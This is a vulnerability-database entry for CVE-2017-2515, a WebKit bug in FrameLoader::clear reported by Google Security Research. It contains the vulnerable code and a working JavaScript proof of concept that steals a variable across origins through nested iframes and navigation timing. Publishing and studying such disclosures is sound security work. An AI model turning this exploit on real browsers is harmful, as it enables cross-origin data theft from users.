WebKit FrameLoader::clear Variable Theft

🗓️ 25 May 2017 00:00:00Reported by Google Security ResearchType

packetstorm🔗 packetstormsecurity.com👁 38 Views

WebKit FrameLoader::clear Variable Theft CVE-2017-2515. Stealing variables via page navigation in FrameLoader::clear

Reporter	Title	Published	Views	Family All 28
0day.today	WebKit - Stealing Variables via Page Navigation in FrameLoader::clear Exploit	25 May 201700:00	–	zdt
Tenable Nessus	Apple iOS < 10.3.2 Multiple Vulnerabilities	17 May 201700:00	–	nessus
Tenable Nessus	Safari < 10.1.1 Multiple Vulnerabilities	18 May 201700:00	–	nessus
Tenable Nessus	Apple TV < 10.2.1 Multiple Vulnerabilities	18 May 201700:00	–	nessus
Tenable Nessus	Apple TV < 10.2.1 Multiple Vulnerabilities	17 May 201700:00	–	nessus
Tenable Nessus	Apple iOS < 10.3.2 Multiple Vulnerabilities	18 May 201700:00	–	nessus
Tenable Nessus	GLSA-201706-15 : WebKitGTK+: Multiple vulnerabilities	8 Jun 201700:00	–	nessus
Tenable Nessus	macOS : Apple Safari < 10.1.1 Multiple Vulnerabilities	23 May 201700:00	–	nessus
Tenable Nessus	Linux Distros Unpatched Vulnerability : CVE-2017-2515	25 Aug 202500:00	–	nessus
Apple	About the security content of iOS 10.3.2	15 May 201700:00	–	apple

` WebKit: Stealing variables via page navigation in FrameLoader::clear   
  
CVE-2017-2515  
  
  
void FrameLoader::clear(Document* newDocument, bool clearWindowProperties, bool clearScriptObjects, bool clearFrameView)  
{  
m_frame.editor().clear();  
  
if (!m_needsClear)  
return;  
m_needsClear = false;  
  
if (m_frame.document()->pageCacheState() != Document::InPageCache) {  
...  
m_frame.document()->prepareForDestruction(); <<-------- (a)  
if (hadLivingRenderTree)  
m_frame.document()->removeFocusedNodeOfSubtree(*m_frame.document());  
}  
...  
m_frame.setDocument(nullptr); <<------- (b)  
...  
if (clearWindowProperties)  
m_frame.script().setDOMWindowForWindowShell(newDocument->domWindow()); <<------- (c)  
...  
}  
  
FrameLoader::clear is called when page navigation is made and it does:  
1. clear the old document at (b).  
2. attach the new window object at (c).  
  
If a new page navigation is made at (a), the new window will not attached due to |m_needsClear| check. As a result, the new document's script will be execute on the old window object.  
  
PoC will reproduce to steal |secret_key| value from another origin(data:text/html,...).  
  
PoC:  
<body>  
Click anywhere.  
<script>  
function createURL(data, type = 'text/html') {  
return URL.createObjectURL(new Blob([data], {type: type}));  
}  
  
window.onclick = () => {  
window.onclick = null;  
  
let f = document.body.appendChild(document.createElement('iframe'));  
f.contentDocument.open();  
f.contentDocument.onreadystatechange = () => {  
f.contentDocument.onreadystatechange = null;  
  
let g = f.contentDocument.appendChild(document.createElement('iframe'));  
g.contentDocument.open();  
g.contentDocument.onreadystatechange = () => {  
g.contentDocument.onreadystatechange = null;  
  
f.contentWindow.__defineGetter__('navigator', function () {  
return {};  
});  
  
let a = f.contentDocument.createElement('a');  
a.href = 'data:text/html,' + encodeURI(`<script>var secret_key = '23412341234';</scrip` + 't>');  
a.click();  
  
showModalDialog(createURL(`  
<script>  
let it = setInterval(() => {  
try {  
opener[0].frameElement.contentDocument.x;  
} catch (e) {  
clearInterval(it);  
window.close();  
}  
}, 100);  
</scrip` + 't>'));  
  
alert('secret_key:' + f.contentWindow.secret_key);  
//showModalDialog('about:blank');  
};  
};  
  
f.src = 'javascript:""';  
}  
  
</script>  
</body>  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

25 May 2017 00:00Current

0.4Low risk

Vulners AI Score0.4

EPSS0.04066